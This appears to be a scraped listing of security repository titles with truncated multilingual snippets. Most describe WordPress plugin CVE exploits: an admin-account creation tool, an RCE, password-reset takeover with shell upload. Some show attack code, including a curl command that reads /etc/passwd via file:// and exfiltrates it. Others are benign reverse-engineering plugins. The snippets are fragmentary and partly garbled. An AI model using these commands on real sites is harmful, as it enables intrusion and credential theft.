CVE-2025-11973

トリガー: /etc/passwd を file:// 経由で読み取り、アップロードに流出させる curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" 流出したファイルを取得する 保存されたファイル名を計算する HASH=$printf 'file:///etc/passwd' |...

CVE-2025-10307

エクスプロイト: Backuply による任意のファイル削除 tarfile パストラバーサル ブラウザコンソール PoC 認証済み管理者 async = const page = $location.origin/wordpress/wp-admin/admin.php?page=backuply; // 1 Extract a valid nonce from the Backuply page const html = await fetchpage, credentials: 'same-origin' .thenr = r.text; const doc = new...

CVE-2025-14364

CVE-2025-14364 Demo Importer Plus 認証済みサブスクライバー → 管理者 do-reinstall AJAX アクションによる 〔 1 〕 脆弱性 | ---|--- CVE| CVE-2025-14364 CVSS v3.1| 8.8 高 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CNA| Wordfence Plugin| Demo Importer Plus Affected| すべてのバージョン ≤ 2.0.8 Auth needed| サブスクライバー（最も低い登録ロール） Type|...

CVE-2025-6934-PoC

🔓 CVE-2025-6934 익스플로잇 도구 WordPress 플러그인 Opal Estate Pro에서 인증되지 않은 관리자 계정 생성 전적으로 mejbankadir에 의해 생성 및 개발됨 SMH tech 및 NexoAmicus 산하 Mejban HackSheild 📋 설명 CVE-2025-6934는 WordPress Opal Estate Pro 플러그인버전 = 1.7.5에서 인증되지 않은 공격자가 취약한 WordPress 사이트에 관리자 계정을 생성할 수 있는 심각한 취약점입니다. 이 도구는 이 취약점을 악용하기 위한...

0-click-RCE-Exploit-for-CVE-2024-9932

CVE-2024-9932 / 0-Click RCEエクスプロイト 作者: Joshua Provoste https://x.com/JoshuaProvoste/status/1858329238153072668 このリポジトリには、Wux Blog Editor WordPressプラグインの認証されていない任意のファイルアップロードの脆弱性であるCVE-2024-9932の概念実証エクスプロイトが含まれており、リモートコード実行（RCE）につながります。 スクリプトの動作...

CVE-2025-14893

CVE-2025-14893: WordPressプラグインIndieWebにおける認証済み格納型クロスサイトスクリプティング（XSS） 免責事項: このリポジトリは教育目的および倫理的な開示のため に作成されています。本脆弱性は責任を持ってベンダーに報告され、パッチが適用されています。適切な許可なく、この情報をシステムの悪用に使用しないでください。 概要 格納型クロスサイトスクリプティング（XSS） の脆弱性が、WordPress用IndieWeb プラグイン（バージョン get 'tel' ; ?"get 'tel' ; ? 欠陥:...

wp-mhn

wp-mhn あなたのModern Honeypot Network ServerとWordpress Blogを、MHNのREST APIとWPのショートコードを介して統合します。 インストールと使用方法 1. wp-mhnをダウンロードしてzipファイルとして取得するか、リポジトリをクローンして圧縮します。 2. ご自分のMHNサーバーに対応する情報でconfig.sample.phpを編集します。 3. config.sample.phpをconfig.phpとして保存/リネームします。 4. プラグインをブログにアップロードして有効化します。 5...

CVE-2025-24000-exploit

CVE-2025-24000 — Post SMTP 権限昇格エクスプロイト 概要 このスクリプトは CVE-2025-24000 を悪用します。これは Post SMTP WordPress プラグイン （バージョン ≤ 3.2.0）における重大なアクセス制御の脆弱性です。低権限アカウント（例: 購読者）を持つ任意の認証ユーザーが、プラグインの REST API メールログにアクセスし、管理者パスワードリセットリンクを盗み取り、管理者アカウントを乗っ取ることができます。 CVE: CVE-2025-24000 プラグイン: Post SMTP WPExperts 影響を受けるバージョン...

CVE-2025-15030

CVE-2025-15030 用户档案生成器 3.15.2 - 未经身份验证的任意密码重置 CVE-2025-15030 用户档案生成器 — 未经身份验证的密码重置 → 管理员接管 + Shell 上传 / / \ |/ / / / / / \ / / / \ / \ | / | | //| \ / /| / | / /| \ | || | / | / || / | | | // | /\/ /| /|/ /\ |\| |\ || /| \ || /| // \ //// ////// ❶ 漏洞详情 字段| 详情 ---|---...

CVE-2026-4106

CVE-2026-4106：WordPress HT Mega 未认证 PII 泄露漏洞利用工具 一个针对 CVE-2026-4106 的功能强大的多线程概念验证（PoC）漏洞利用工具，目标为 WordPress 的 HT Mega - Absolute Addons for Elementor 插件（版本 Buyer: John Doe | Location: Berlin/Deutschland | Item:...

binja_dynamics

Binary Ninja Dynamic Analysis Tools このプロジェクトは、Binary Ninja 用の binjatron プラグインに PyQt5 フロントエンドを追加するもので、リバースエンジニアリングを学び始めたばかりの初心者が学習しやすいようにするためのハイライト機能が含まれています。 動機 x86...

binja_sensei

binjasensei Binary Ninja 向けの教育ツール このプラグインは、Binary Ninja を使ってリバースエンジニアリングを学ぶ初心者向けのリソースを提供します。他の複数のプラグインを自動的にインストールし、それらのプラグインの機能を紹介するサンプルも提供します。 由来 このプロジェクトは、NCC Group の 2017 年サマーインターンシッププログラムの成果物です。今後の更新はhttps://github.com/ehennenfent/binjasensei で追跡されます。 NCC Group...

DriverBuddy

クイックスタート DriverBuddy のインストール手順 1. DriverBuddy フォルダと DriverBuddy.py ファイルを IDA のプラグインフォルダ（C:\Program Files x86\IDA 6.8\plugins など、IDA をインストールした場所）にコピーします DriverBuddy の使用手順 1. IDA を起動し、Windows カーネルドライバを開きます 2. Edit-Plugins に移動して Driver Buddy を選択するか、ctrl-alt-d を押します 3. Output ウィンドウで DriverBuddy...

manim-cranim

cranim 暗号シーン向けの Manim ツールキット。サンプルギャラリーをチェックしてください: https://nccgroup.github.io/manim-cranim/ ローカルインストール: リポジトリのルートディレクトリから pip install -e . を実行してください（ローカルで変更を加える予定がない場合は pip install . でも構いません）。 これは Manim プラグインです。Manim では、プラグインをコマンドラインオプションまたは manim.cfg ファイルで明示的に有効にする必要があります。 詳細については、例えば...

SusanRTTI

SusanRTTI もう一つのRTTI解析IDAプラグイン 特徴 すべて ida-python クラスベース設計、エラーログ記録 まずvtableをスキャンするRTTI解析アルゴリズム（rdata/dataセクション全体を総当たりする代わり） クラス階層のグラフ化（明確化のための推移簡約を使用） GraphViz（.dot）形式へのエクスポート機能 以下に対するRTTIおよびC++名前のデマングリングを処理: X86 GCC X86 MSVC X64 GCC X64 MSVC 使用方法 簡単: まず、バイナリをIDAにロードします。次にスクリプト classinformerpython....

WindowsFirewallHookDriverEnumeration

Windows ファイアウォールフックドライバの列挙 Windows 2000、XP、2003 上で Windows ファイアウォールフックドライバを列挙するためのツールです。 この手法を使用する悪意のあるコードサンプルを確認しています。 フッキング手法 XP/2003 のテクニック 12345 における Windows ファイアウォールフック機能は、\Device\Ip に送信される IOCTLIPSETFIREWALLHOOK という IOCTL を使用します。 define FSCTLIPBASE FILEDEVICENETWORK define IPCTLCODEfunction...

CVE-2026-2413

CVE-2026-2413 Ally – Web Accessibility & Usability = 4.0.3 - URLパスを介した未認証SQLインジェクション 説明 WordPress用プラグイン「Ally – Web Accessibility & Usability」は、バージョン4.0.3までの全バージョンにおいて、URLパスを介したSQLインジェクションに対して脆弱です。これは、getglobalremediations メソッドにおいて、ユーザーが指定したURLパラメータのエスケープが不十分なためです。このパラメータはSQL...

CVE-2024-51793

Wordpress Computer Repair Shop = 3.8115 - 認証なし任意のファイルアップロード CVE-2024-51793 CRM WordPress Plugin – RepairBuddyプラグインは、ファイルタイプの検証が欠如しているため、バージョン3.8115までのすべてのバージョンで任意のファイルアップロードに対して脆弱です。これにより、認証されていない攻撃者が影響を受けるサイトのサーバーに任意のファイルをアップロードでき、リモートコード実行が可能になる可能性があります。...

SkypeACLKeyGen.exe-analysis-for-hacking-team

SkypeACLKeyGen.exe analysis for hacking team というわけで... 今日は何を解析するのか？今日はハッキングチーム製のソフトウェアを解析する。Skypeに関するものだ。なぜこれをやるのか？さあね、面白いと思ったからだ。 とにかく、まずは実行時の挙動を調べることから始める。見ての通り、ユーザー名とプラグインパスが必要で、ACLを出力する？つまりこれは一体何なんだ？これを調べてみると https://airbus-seclab.github.io/skype/vskype-part2.pdf にはこう書かれている -...

supernote-obsidian-plugin-PoC

概要 CVEステータス: リクエスト済み、割り当て待ち。この脆弱性は GHSA-3gx3-r874-5pp4 として公開されています。CVEが割り当てられ次第、このリポジトリは CVE-YYYY-NNNNN-supernote-obsidian-plugin-PoC に改名され、このバナーはCVEリンクに置き換えられます。 | ---|--- 研究者| Dostxodjayev Abdullox @squeeze440 アドバイザリ| GHSA-3gx3-r874-5pp4 CVSS 3.1| 5.6 Medium 脆弱性| CWE-22, CWE-73 概要 Supernote...